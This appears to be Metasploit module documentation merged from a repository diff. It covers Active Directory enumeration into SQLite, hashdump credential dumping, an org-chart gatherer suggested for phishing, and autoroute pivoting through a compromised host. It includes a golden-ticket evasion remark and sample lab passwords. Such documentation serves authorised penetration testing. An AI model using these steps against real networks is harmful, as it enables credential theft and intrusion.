c_ADS_UF_TRUSTED_FOR_DELEGATION | INTEGER | If 1, the service account (user or computer account), under which a service runs, is trusted for Kerberos delegation. Any such service can impersonate a client requesting the service.
c_ADS_UF_NOT_DELEGATED | INTEGER | If 1, the security context of the user will not be delegated to a service even if the service account is set as trusted for Kerberos delegation.
c_ADS_UF_USE_DES_KEY_ONLY | INTEGER | If 1, restrict this principal to use only Data Encryption Standard (DES) encryption types for keys.
c_ADS_UF_DONT_REQUIRE_PREAUTH | INTEGER | If 1, this account does not require Kerberos pre-authentication for logon.
c_ADS_UF_PASSWORD_EXPIRED | INTEGER | If 1, the user password has expired. This flag is created by the system using data from the Pwd-Last-Set attribute and the domain policy.
c_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION | INTEGER | If 1, the account is enabled for delegation. This is a security-sensitive setting; accounts with this option enabled should be strictly controlled. This setting enables a service running under the account to assume a client identity and authenticate as that user to other remote servers on the network.
c_SAM_DOMAIN_OBJECT | INTEGER | See [SAM-Account-Type](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637%28v=vs.85%29.aspx) attribute. If 1, this flag is set.
c_SAM_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_NON_SECURITY_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_NON_SECURITY_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_USER_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_NORMAL_USER_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_MACHINE_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_TRUST_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_APP_BASIC_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_APP_QUERY_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
c_SAM_ACCOUNT_TYPE_MAX | INTEGER | If 1, this flag is set (sAMAccountType attribute).
**ad_users**
The table below shows the columns in the ad_computers table. The fields in capitals at the end
(c_ADS_* and c_SAM_*) are expanded from the userAccountControl and sAMAccountType attributes to
provide an easy way to perform the queries against individual flags.
Column Name | Type | Purpose
------------------------------------------------| ------- | -------
u_rid | INTEGER | The relative identifier which is derived from the objectSid (i.e. the last group of digits).
u_distinguishedName | TEXT | The main 'fully qualified' reference to the object. See [Distinguished Names](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366101%28v=vs.85%29.aspx).
u_cn | TEXT | The name that represents an object. Used to perform searches.
u_sAMAccountType | INTEGER | This attribute contains information about every account type object. As this can only have one value, it would be more efficient to implement a lookup table for this, but I have included individual flags simply for consistency.
u_sAMAccountName | TEXT | The logon name used to support clients and servers running earlier versions of the operating system.
u_dNSHostName | TEXT | The name of computer, as registered in DNS.
u_displayName | TEXT | The display name for an object. This is usually the combination of the users first name, middle initial, and last name.
u_logonCount | INTEGER | The number of times the account has successfully logged on. A value of 0 indicates that the value is unknown.
u_userPrincipalName | TEXT | Technically, this is an Internet-style login name for a user based on the Internet standard RFC 822. By convention and in practice, it is the user's e-mail address.
u_displayName | TEXT | N/A
u_adminCount | INTEGER | Indicates that a given object has had its ACLs changed to a more secure value by the system because it was a member of one of the administrative groups (directly or transitively).
u_userAccountControl | INTEGER | Flags that control the behavior of the user account. See [User-Account-Control](https://msdn.microsoft.com/en-us/library/windows/desktop/ms680832%28v=vs.85%29.aspx) for a description, but they are also parsed and stored in the c_ADS_UF_* columns below.
u_primaryGroupID | INTEGER | Contains the relative identifier (RID) for the primary group of the user. By default, this is the RID for the Domain Users group.
u_badPwdCount | INTEGER | The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.
u_description | TEXT | Contains the description to display for an object.
u_title | TEXT | Contains the user's job title. This property is commonly used to indicate the formal job title, such as Senior Programmer, rather than occupational class.
u_manager | TEXT | The distinguished name of this user's manager.
u_comment | TEXT | The user's comment. This string can be a null string. Sometimes passwords or sensitive information can be stored here.
u_whenChanged | TEXT | The date when this object was last changed. This value is not replicated and exists in the global catalog.
u_whenCreated | TEXT | The date when this object was created. This value is replicated and is in the global catalog.
u_ADS_UF_SCRIPT | INTEGER | If 1, the logon script is executed.
u_ADS_UF_ACCOUNTDISABLE | INTEGER | If 1, the user account is disabled.
u_ADS_UF_HOMEDIR_REQUIRED | INTEGER | If 1, the home directory is required.
u_ADS_UF_LOCKOUT | INTEGER | If 1, the account is currently locked out.
u_ADS_UF_PASSWD_NOTREQD | INTEGER | If 1, no password is required.
u_ADS_UF_PASSWD_CANT_CHANGE | INTEGER | If 1, the user cannot change the password.
u_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED | INTEGER | If 1, the user can send an encrypted password.
u_ADS_UF_TEMP_DUPLICATE_ACCOUNT | INTEGER | If 1, this is an account for users whose primary account is in another domain. This account provides user access to this domain, but not to any domain that trusts this domain. Also known as a local user account.
u_ADS_UF_NORMAL_ACCOUNT | INTEGER | If 1, this is a default account type that represents a typical user.
u_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT | INTEGER | If 1, this is a permit to trust account for a system domain that trusts other domains.
u_ADS_UF_WORKSTATION_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a computer that is a member of this domain.
u_ADS_UF_SERVER_TRUST_ACCOUNT | INTEGER | If 1, this is a computer account for a system backup domain controller that is a member of this domain.
u_ADS_UF_DONT_EXPIRE_PASSWD | INTEGER | If 1, the password for this account will never expire.
u_ADS_UF_MNS_LOGON_ACCOUNT | INTEGER | If 1, this is an MNS logon account.
u_ADS_UF_SMARTCARD_REQUIRED | INTEGER | If 1, the user must log on using a smart card.
u_ADS_UF_TRUSTED_FOR_DELEGATION | INTEGER | If 1, the service account (user or computer account), under which a service runs, is trusted for Kerberos delegation. Any such service can impersonate a client requesting the service.
u_ADS_UF_NOT_DELEGATED | INTEGER | If 1, the security context of the user will not be delegated to a service even if the service account is set as trusted for Kerberos delegation.
u_ADS_UF_USE_DES_KEY_ONLY | INTEGER | If 1, restrict this principal to use only Data Encryption Standard (DES) encryption types for keys.
u_ADS_UF_DONT_REQUIRE_PREAUTH | INTEGER | If 1, this account does not require Kerberos pre-authentication for logon.
u_ADS_UF_PASSWORD_EXPIRED | INTEGER | If 1, the user password has expired. This flag is created by the system using data from the Pwd-Last-Set attribute and the domain policy.
u_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION | INTEGER | If 1, the account is enabled for delegation. This is a security-sensitive setting; accounts with this option enabled should be strictly controlled. This setting enables a service running under the account to assume a client identity and authenticate as that user to other remote servers on the network.
u_SAM_DOMAIN_OBJECT | INTEGER | See [SAM-Account-Type](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637%28v=vs.85%29.aspx). If 1, this flag is set.
u_SAM_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_NON_SECURITY_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_NON_SECURITY_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_USER_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_NORMAL_USER_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_MACHINE_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_TRUST_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_APP_BASIC_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_APP_QUERY_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
u_SAM_ACCOUNT_TYPE_MAX | INTEGER | If 1, this flag is set (sAMAccountType attribute).
**ad_groups**
The table below shows the columns in the ad_groups table.
Column Name | Type | Purpose
--------------------------------| ------- | -------
g_rid | INTEGER | The relative identifier which is derived from the objectSid (i.e. the last group of digits).
g_distinguishedName | TEXT | The main 'fully qualified' reference to the object. See [Distinguished Names](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366101%28v=vs.85%29.aspx).
g_sAMAccountType | INTEGER | This attribute contains information about every account type object. As this can only have one value, it would be more efficient to implement a lookup table for this, but I have included individual flags simply for consistency.
g_sAMAccountName | TEXT | The logon name used to support clients and servers running earlier versions of the operating system.
g_adminCount | INTEGER | Indicates that a given object has had its ACLs changed to a more secure value by the system because it was a member of one of the administrative groups (directly or transitively).
g_description | TEXT | Contains the description to display for an object.
g_comment | TEXT | The user's comment. This string can be a null string. Sometimes passwords or sensitive information can be stored here.
g_whenChanged | TEXT | The date when this object was last changed. This value is not replicated and exists in the global catalog.
g_whenCreated | TEXT | The date when this object was created. This value is replicated and is in the global catalog.
g_managedby | TEXT | The manager of this group.
g_cn | TEXT | The common name of the group.
g_groupType | INTEGER | Contains a set of flags that define the type and scope of a group object. These are expanded in the g_GT_* fields below.
g_GT_GROUP_CREATED_BY_SYSTEM | INTEGER | If 1, this is a group that is created by the system.
g_GT_GROUP_SCOPE_GLOBAL | INTEGER | If 1, this is a group with global scope.
g_GT_GROUP_SCOPE_LOCAL | INTEGER | If 1, this is a group with domain local scope.
g_GT_GROUP_SCOPE_UNIVERSAL | INTEGER | If 1, this is a group with universal scope.
g_GT_GROUP_SAM_APP_BASIC | INTEGER | If 1, this specifies an APP_BASIC group for Windows Server Authorisation Manager.
g_GT_GROUP_SAM_APP_QUERY | INTEGER | If 1, this specifies an APP_QUERY group for Windows Server Authorisation Manager.
g_GT_GROUP_SECURITY | INTEGER | If 1, this specifies a security group.
g_GT_GROUP_DISTRIBUTION | INTEGER | If 1, this specifies a distribution group (this is the inverse of g_GT_GROUP_SECURITY). I have included it so that distribution groups can be identified more easily (query readability).
g_SAM_DOMAIN_OBJECT | INTEGER | See [SAM-Account-Type](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679637%28v=vs.85%29.aspx). If 1, this flag is set.
g_SAM_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_NON_SECURITY_GROUP_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_NON_SECURITY_ALIAS_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_USER_OBJECT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_NORMAL_USER_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_MACHINE_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_TRUST_ACCOUNT | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_APP_BASIC_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_APP_QUERY_GROUP | INTEGER | If 1, this flag is set (sAMAccountType attribute).
g_SAM_ACCOUNT_TYPE_MAX | INTEGER | If 1, this flag is set (sAMAccountType attribute).
**ad_mapping**
The table below shows the columns in the ad_mapping table. This is used to link users to groups.
Column Name | Type | Purpose
------------| ------- | -------
user_rid | INTEGER | The RID of a user
group_rid | INTEGER | The RID of a group
For example, if a particular record had a user_rid of 1000 and a group_rid of 1001, this would
imply that the user whose RID is 1000 is a member of the group whose RID is 1001. Use the
view_mapping view in order to do any meaningful queries, but its content is derived from this one.
**view_mapping**
This table is a combination of ad_groups.* and ad_users.*. Therefore, the fields are the
combination of the u_* and the g_* fields shown above.
## Database Structure
There are a few design choices that I have deliberately made which I have given an explanation for
below. This is because the reasons for them may not be obvious.
The users, groups and computers are based on the same class, so the "proper" way to do this would
be to place them all into one table and then restrict results based on sAMAccountType to determine
what type of object it is. In addition, the userAccountControl and sAMAccountType and groupType
attributes have been split out into individual columns which is, from a technical point of view,
unnecessary duplication.
The reason for this is ease of use; we are much more intuitively familiar with users, groups and
computers being different objects (even if they are all really the same thing), and it is much
easier to understand and formulate a query such as:
```
SELECT u_sAMAccountName from ad_users where u_ADS_UF_LOCKOUT = 0 and u_SAM_NORMAL_USER_ACCOUNT = 1
```
than:
```
SELECT u_sAMAccountName from ad_users where ((u_userAccountControl&0x00000010) = 0) and ((u_sAMAccountType&0x30000000) > 0)
```
This is also true of the sAMAccountType value; this is a code which has a 1:1 mapping with MSDN
constants (i.e. they are not flags) and it would be more efficient to implement a simple lookup table.
However, for consistency, I have implemented the columns for the possible values in the same way as
the attributes which comprise multiple values in the form of flags.
This database is designed for quick-and-dirty queries, not to be an efficient AD database, and the
benefits of the ease of access significantly outweighs the slight performance impact.
## Conversion to Unicode
All of the strings injected into the database have been converted to UTF-8 (encode('UTF-8')) which,
at first glance, does not seem necessary. The reason is documented [here](https://github.com/rails/rails/issues/1965);
namely that SQLite stores Unicode strings as 'text' but non-converted strings as 'blobs' regardless
of the type affinity. Omitting the unicode conversion meant that most of the text queries did not
work properly because the database was treating the text fields as raw binary data.
## Multi valued attributes
With the exception of the memberOf attribute, it is assumed that other attributes are single
valued, which may result in a small about of information being missed. For example, the
description attribute can (in some circumstances) be multi-valued but the ADSI queries will only
return the first value.
This will not make any practical difference for the vast majority of enterprise domains.
## Database Queries
Sqlite3 supports a number of output formats (use .mode for all options). These can be used to
easily present the searched data.
For example, line mode is useful to see all fields in an easy to view form. The example query
searches for all information about the user whose username is 'unprivileged.user'
```
sqlite> .mode line
sqlite> select * from ad_users where u_sAMAccountName = "unprivileged.user";
u_rid = 1127
u_distinguishedName = CN=Unprivileged User,CN=Users,DC=goat,DC=stu
u_description = Do not delete. Default pass set to password123
u_displayName = Unprivileged User
u_sAMAccountType = 805306368
u_sAMAccountName = unprivileged.user
u_logonCount = 1
u_userAccountControl = 512
u_primaryGroupID = 513
u_cn = Unprivileged User
u_adminCount = 1
u_badPwdCount = 0
u_userPrincipalName = unprivileged.user@goat.stu
u_comment =
u_title =
u_manager = CN=Stuart Morgan - User,CN=Users,DC=goat,DC=stu
u_whenCreated = 2015-12-20 20:10:54.000
u_whenChanged = 2015-12-20 23:12:48.000
u_ADS_UF_SCRIPT = 0
u_ADS_UF_ACCOUNTDISABLE = 0
u_ADS_UF_HOMEDIR_REQUIRED = 0
u_ADS_UF_LOCKOUT = 0
u_ADS_UF_PASSWD_NOTREQD = 0
u_ADS_UF_PASSWD_CANT_CHANGE = 0
u_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0
u_ADS_UF_TEMP_DUPLICATE_ACCOUNT = 0
u_ADS_UF_NORMAL_ACCOUNT = 1
u_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT = 0
u_ADS_UF_WORKSTATION_TRUST_ACCOUNT = 0
u_ADS_UF_SERVER_TRUST_ACCOUNT = 0
u_ADS_UF_DONT_EXPIRE_PASSWD = 0
u_ADS_UF_MNS_LOGON_ACCOUNT = 0
u_ADS_UF_SMARTCARD_REQUIRED = 0
u_ADS_UF_TRUSTED_FOR_DELEGATION = 0
u_ADS_UF_NOT_DELEGATED = 0
u_ADS_UF_USE_DES_KEY_ONLY = 0
u_ADS_UF_DONT_REQUIRE_PREAUTH = 0
u_ADS_UF_PASSWORD_EXPIRED = 0
u_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0
u_SAM_DOMAIN_OBJECT = 0
u_SAM_GROUP_OBJECT = 0
u_SAM_NON_SECURITY_GROUP_OBJECT = 0
u_SAM_ALIAS_OBJECT = 0
u_SAM_NON_SECURITY_ALIAS_OBJECT = 0
u_SAM_NORMAL_USER_ACCOUNT = 1
u_SAM_MACHINE_ACCOUNT = 0
u_SAM_TRUST_ACCOUNT = 0
u_SAM_APP_BASIC_GROUP = 0
u_SAM_APP_QUERY_GROUP = 0
u_SAM_ACCOUNT_TYPE_MAX = 0
```
SQLite can generate output in HTML format with headers. For example, the query below displays the
username, email address and number of times that the user has logged on for all users who have a
manager with the word 'Stuart' somewhere in the DN.
```
sqlite> .mode html
sqlite> .headers on
sqlite> select u_sAMAccountName,u_userPrincipalName,u_logonCount from ad_users where u_manager LIKE '%Stuart%';
<TR><TH>u_sAMAccountName</TH>
<TH>u_userPrincipalName</TH>
<TH>u_logonCount</TH>
</TR>
<TR><TD>unprivileged.user</TD>
<TD>unprivileged.user@goat.stu</TD>
<TD>1</TD>
</TR>
sqlite>
```
The same query can be used in INSERT mode, in which the results will be displayed as a series of
SQL insert statements for importing into another database:
```
sqlite> .mode insert
sqlite> select u_sAMAccountName,u_userPrincipalName,u_logonCount from ad_users where u_manager LIKE '%Stuart%';
INSERT INTO table(u_sAMAccountName,u_userPrincipalName,u_logonCount) VALUES('unprivileged.user','unprivileged.user@goat.stu',1);
```
The default mode (list) will display the results with a pipe character separating the fields:
```
sqlite> .mode list
sqlite> select u_sAMAccountName,u_userPrincipalName,u_logonCount from ad_users where u_manager LIKE '%Stuart%';
u_sAMAccountName u_userPrincipalName u_logonCount
unprivileged.user unprivileged.user@goat.stu 1
```
There are a number of other ways that this information could be presented; please play with SQLite
in order to learn how to use them.
## Example Queries
A number of example queries are shown below, in order to give an idea of how easy it is to build up
complex queries.
Search for all users who have a title, description or comment and display this information along
with their username:
```
select u_sAMAccountName,u_title,u_description,u_comment from ad_users where (u_title != "" or u_description != "" or u_comment != "");
```
Display all stored fields for all users whose accounts are not disabled, have a password that does
not expire, have a name starting with 'Frank' and have logged on more than once.
```
select * from ad_users where u_ADS_UF_ACCOUNTDISABLE=0 and u_ADS_UF_DONT_EXPIRE_PASSWD=1 and u_cn LIKE 'Frank%' and u_logonCount>1;
```
Get the list of group RIDs that have a name which do not have the word 'admin' in them somewhere
(perhaps useful to construct a golden ticket with access to pretty much all groups except anything
with 'admin' in it), might be useful to evade a very basic form of monitoring perhaps?
```
select DISTINCT g_rid from ad_groups where g_sAMAccountName NOT LIKE '%admin%';
```
Search for all users who are members of the 'Domain Admins' group and display their username.
Note that this will include those in nested groups.
```
select u_sAMAccountName from view_mapping where g_sAMAccountName = 'Domain Admins';
```
Show the groups that the user 'stufus' is a member of and write the output to /tmp/groups.txt
(e.g. for usage in a different tool):
```
.once /tmp/groups.txt
select g_sAMAccountName from view_mapping where u_sAMAccountName = 'stufus';
```
Imagine you have compromised passwords or accounts for user1, user2, user3 and user4. Show the AD
groups which, between them all, you have access to.
```
select DISTINCT g_sAMAccountName from view_mapping where u_sAMAccountName IN ('user1','user2','user3','user4');
```
Retrieve the list of group names common to both 'user1' and 'user2' and display the group RID,
group name and group description. This could be useful if you were aware that both these users
are in a group that has access to a very specific resource but are in a large number of separate
other groups.
```
select v1.g_rid,v1.g_sAMAccountName,v1.g_description FROM view_mapping v1 INNER JOIN view_mapping v2 ON v1.g_rid = v2.g_rid where v1.u_sAMAccountName = 'user1' and v2.u_sAMAccountName = 'user2';
```
Show the name, DNS hostname and OS information for each of the computers in the domain:
```
select c_cn,c_dNSHostName,c_operatingSystem,c_operatingSystemVersion,c_operatingSystemServicePack from ad_computers;
```
Display the same columns as above but only show machines in the 'Domain Controllers' OU (you can't
normally search by DN because it isn't a "real" attribute when querying through LDAP, but as it is
a normal text field in the database, you can use regular expressions and normal string matching):
```
select c_cn,c_dNSHostName,c_operatingSystem,c_operatingSystemVersion,c_operatingSystemServicePack from ad_computers where c_distinguishedName LIKE '%OU=Domain Controllers%';
```
Show all fields for computers that have the c_ADS_UF_WORKSTATION_TRUST_ACCOUNT set to 1 (which
seems to be everything except domain controllers) on my test system:
```
select * from ad_computers where c_ADS_UF_WORKSTATION_TRUST_ACCOUNT = 1;
```
Show all fields for computers whose operating system is Windows XP, Windows 2000 or Windows 2003
(note that you need regular expression support in SQLite):
```
select * from ad_computers where c_operatingSystem REGEXP '(XP|200[03])';
```
...and if you don't have regular expression support:
```
select * from ad_computers where c_operatingSystem LIKE '%XP%' OR c_operatingSystem LIKE '%2000%' OR c_operatingSystem LIKE '%2003%';
```
Search for all members of all groups who are (amongst other things) members of any group managed
by anyone whose CN starts with 'Unprivileged User' and return their username only:
```
select DISTINCT u_sAMAccountName from view_mapping where g_rid IN (select g_rid from view_mapping where g_managedBy LIKE 'CN=Unprivileged User%');
```
## Scenarios
**Group Policy Objects**
This cannot be used to gain a complete understanding of effective permissions because it does not
analyze group policy objects. For example, a group policy may add inconspicuous groups to
privileged groups and privileged groups, such as Domain Admins, may be removed from local
administrator groups due to GPP. Therefore, this will give a reliable overview of the effective
'static' permissions but cannot be completely relied on for overall effective permissions.
**Domain Controller interaction**
The acquisition of domain information does involve repeated queries against the domain controllers.
However, all interaction with AD uses native functionality and has not been noted to cause
performance problems when tested. This was recently tested on a live engagement on a domain that
has just under 11,000 groups and a similar number of users. Admittedly it took about an hour to
pull down everything (as opposed to the 1 minute to replicate the LDAP database) but the final
database size was 19,255,296 bytes, so perfectly manageable.

View File

@ -0,0 +1,46 @@
The post/gather/hashdump module functions similarly to Meterpreter's built-in hashdump command.
Having this feature as a post module allows it to be used in different penetration testing scenarios.
## Vulnerable Application
---
To be able to use post/gather/hash_dump, you must meet these requirements:
* You are on a Meterpreter type session.
* The target is a Windows platform.
* It must be executed under the context of a high privilege account, such as SYSTEM.
## Verification Steps
---
Please see Overview for usage.
## Scenarios
---
**Upgrading to Meterpreter**
To be able to use this module, a Meterpreter session is needed. To upgrade to a Meterpreter session, the easiest way is to use the post/multi/manage/shell_to_meterpreter module. Or, you can try:
1. Use the exploit/multi/script/web_delivery module.
2. Manually generate a Meterpreter executable, upload it, and execute it.
**High Privilege Account**
Before using post/gather/hashdump, there is a possibility you need to escalate your privileges.
There are a few common options to consider:
* Using a local exploit module. Or use Local Exploit Suggester, which automatically informs you
which exploits might be suitable for the remote target.
* The getsystem command in Meterpreter.
* Stolen passwords.
**Hashdump From Multiple Sessions**
One major advantage of having hashdump as a post module is you can run against it multiple hosts easily. To learn how, refer to Overview for usage.

View File

@ -0,0 +1,85 @@
This module can be used to aid the generation of an organizational chart based on information
contained in Active Directory. The module itself uses ADSI to retrieve key information from AD
(manager, title, description etc) fields and then present it in a CSV file in the form:
```
cn,description,title,phone,department,division,e-mail,company,reports_to
```
The reports_to field is the only one which is generated; everything else is taken directly from AD.
The 'manager' field contains the DN of the manager assigned to that user, and this module simply
uses a regular expression to obtain the CN field of the manager.
This can then be imported into tools like [Microsoft Visio](https://products.office.com/en-us/visio/flowchart-software)
(using the organizational chart wizard) and it will construct a visual org chart from the
information there. Although visio supports the ability to generate Org charts if it is on a domain
joined machine, but there does not seem to be a way of doing this remotely (e.g. during a
red teaming exercise).
This should not be confused with security groups and AD managed groups; this is purely an
internal organizational hierarchy representation but could be very useful for situational awareness
or in order to construct a more plausible or targeted internal phishing exercise.
# Options
Option | Value
-------------------| ---
ACTIVE_USERS_ONLY | This will restrict the search for users to those whose accounts are Active. This would have the effect of excluding disabled accounts (e.g. employees who have resigned).
FILTER | Any additional LDAP filtering that is required when searching for users.
WITH_MANAGERS_ONLY | If this is TRUE, the module will only include users who have a manger set (internally, this is implemented by adding (manager=*) to the ADSI query filter). This could be useful if not everyone has a manager set, but could mean that the top executive is not included either.
STORE_LOOT | Store the results in a CSV file in loot. You'll almost certainly want this set to TRUE.
# Demo
For the purposes of this contrived example, the module has been configured to generate the CSV
reporting information for everyone with 'IT' somewhere in their common name.
```
msf post(make_csv_orgchart) > show options
Module options (post/windows/gather/make_csv_orgchart):
Name Current Setting Required Description
---- --------------- -------- -----------
ACTIVE_USERS_ONLY true yes Only include active users (i.e. not disabled ones)
DOMAIN no The domain to query or distinguished name (e.g. DC=test,DC=com)
FILTER cn=*IT* no Additional LDAP filter to use when searching for users
MAX_SEARCH 500 yes Maximum values to retrieve, 0 for all.
SESSION 2 yes The session to run this module on.
STORE_LOOT true yes Store the organisational chart information in CSV format in loot
WITH_MANAGERS_ONLY false no Only users with managers
msf post(make_csv_orgchart) > run
Users & Managers
================
cn description title phone department division e-mail company reports_to
-- ----------- ----- ----- ---------- -------- ------ ------- ----------
IT Manager Deputy GOAT IT Director it.manager@goat.stu IT Director
IT Director Director of Goat IT it.director@goat.stu
IT Leader: Badger Team Leader of Blue Team Operations it.leader.badger@goat.stu IT Manager
IT Leader: Otter Team Leader: Offensive Operations it.leader.otter@goat.stu IT Manager
Oswold Otter (IT Team) Consultant oswold.otter@goat.stu IT Leader: Otter
Bertie Badger (IT Security Team) Default pass is badger123 IT Security Team Deputy bertie.badger@goat.stu IT Leader: Badger
[*] CSV Organisational Chart Information saved to: /usr/home/s/stuart/.msf4/loot/20151221175733_stufusdev_192.0.2.140_ad.orgchart_189769.txt
[*] Post module execution completed
```
The contents of the CSV file are shown below:
```
$ cat /usr/home/s/stuart/.msf4/loot/20151221175733_stufusdev_192.0.2.140_ad.orgchart_189769.txt
cn,description,title,phone,department,division,e-mail,company,reports_to
"IT Manager","","Deputy GOAT IT Director","","","","it.manager@goat.stu","","IT Director"
"IT Director","","Director of Goat IT","","","","it.director@goat.stu","",""
"IT Leader: Badger","","Team Leader of Blue Team Operations","","","","it.leader.badger@goat.stu","","IT Manager"
"IT Leader: Otter","","Team Leader: Offensive Operations","","","","it.leader.otter@goat.stu","","IT Manager"
"Oswold Otter (IT Team)","","Consultant","","","","oswold.otter@goat.stu","","IT Leader: Otter"
"Bertie Badger (IT Security Team)","Default pass is badger123","IT Security Team Deputy","","","","bertie.badger@goat.stu","","IT Leader: Badger"
```
When this was imported into Visio with default options set, it produced the following organisational chart:
![screenshot_orgchart](https://cloud.githubusercontent.com/assets/12296344/11937572/f5906320-a80c-11e5-8faa-6439872df362.png)

View File

@ -0,0 +1,121 @@
## Overview
This module is used to add routes associated with the specified Meterpreter session to Metasploit's routing table. These routes can be used to pivot to private networks and resources that can be accessed by the compromised machine. This module can search for routes and add them automatically. Routes can also be added manually, deleted, or displayed.
## CMD Options
This module has several command "CMD" options that are used to control the module's behavior.
### autoadd
This is the default behavior for this module. When this CMD option is used, the module searches the compromised machine's routing table and network interface list looking for networks that the machine can access. Once found, the module automatically adds routes to the networks to Metasploit's routing table. Duplicate routes from new sessions are not added.
### add
This CMD option is used to manually add routes to Metasploit's routing table. An IPv4 subnet and netmask (IPv4 or CIDR) are required to add routes manually. The session number of the Meterpreter session to run the module on is also required.
Subnet Example `set SUBNET 192.168.1.0`
Netmask Examples `set NETMASK 255.255.255.0` or `set NETMASK /24`
### delete
This CMD option is used to remove a route from Metasploit's routing table. The IPv4 subnet and netmask (IPv4 or CIDR) of the route to be removed are required. The session number of the Meterpreter session to run the module on is also required. Use `route print` or the print CMD option to display the current Metasploit routing table.
### print
This CMD option is used to display Metasploit's routing table. This option has the same functionality as the `route print` command.
### default
This CMD option is used to add a default route to Metasploit's routing table that routes all TCP/IP traffic; not otherwise covered in other routes, through the specified session when pivoting.
**Use this option with caution.**
This option is useful in special situations. An example would be when the compromised host is using a full traffic VPN where the VPN server does the routing to private networks. In this case, the routing table of the compromised host would likely not have entries for these private networks. Adding a default route would push the routing off to the VPN server, and those networks would likely become accessible.
Additionally, the default route combined with a Socks proxy server and Proxychains can be used to browse the Internet as the compromised host. Instructions for this are below.
## Pivoting
Once routes are established, Metasploit modules can access the IP range specified in the routes. Scans and exploits can be directed at machines that would otherwise be unreachable from the outside. For other applications to access the routes, a little bit more setup is necessary. This involves setting up the Socks4a Metasploit module and using Proxychains in conjunction with the other applications.
### Socks 4a Server Module Setup
Metasploit can launch a Socks 4a Proxy server using the module: auxiliary/server/socks4a. When set up to bind to a local loopback adapter, applications can be directed to use the proxy to route TCP/IP traffic through Metasploit's routing tables. Below are the steps to initiate this module.
```
use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
set LPORT 1080
exploit -j
```
### Proxychains Setup
First, make sure that you have Proxychains.
```
sudo apt-get update
sudo apt-get install proxychains
```
Now edit the Proxychains configuration file located at /etc/proxychains.conf. Add the below line to the end of the file to set Proxychains to use the Socks 4a server that you just set up.
```
socks4 127.0.0.1 1080
```
Note: If there are other proxy entries in the configuration file, you may need to comment them out as they may interfere with proper routing.
### Using Proxychains
Now you can combine Proxychains with other application like Nmap, Nessus, Firefox and more to scan or access machines and resources through the Metasploit routes. All you need to do is call proxychains before the needed application. No need to change the proxy settings in Firefox of Iceweasel.
```
$ proxychains firefox
```
### Scanning
For scanning with Nmap, Zenmap, Nessus and others, keep in mind that ICMP and UPD traffic cannot tunnel through the proxy. So you cannot perform ping or UDP scans.
For Nmap and Zenmap, the below example shows the commands can be used. It is best to be selective on ports to scan since scanning through the proxy tunnel can be slow.
```
$ sudo proxychains nmap -n -sT- sV -PN -p 445 10.10.125.0/24
```
### Combined With Default Route
Using the default route option along with the Socks proxy and Proxychains, you can browse the internet as the compromised host. This is possible because adding a default route to a Meterpeter session will cause all TCP/IP traffic; that is not otherwise specified in Metasploit's routing table, to route through that session. This is easy to set up and test.
You need a Windows Meterpreter session on a host that has a different public IP address than your attacking machine.
First set up a default route for the Meterpreter session.
```
meterpreter > run post/windows/manage/autoroute CMD=default
```
or
```
msf > use post/windows/manage/autoroute
msf post(autoroute) > set SESSION session-id
msf post(autoroute) > set CMD default
msf post(autoroute) > exploit
```
Then open Firefox or Iceweasel without invoking Proxychains.
```
$ firefox
```
Go to `www.ipchicken.com`
This displays your current public IP address. The one that is logged when you visit a website.
Now open Firefox or Iceweasel with Proxychains.
```
$ proxychains firefox
```
Go to `www.ipchicken.com`
Now you will see the public IP address of the compromised host. You are essentially using the compromised host as a proxy to browse the Internet.
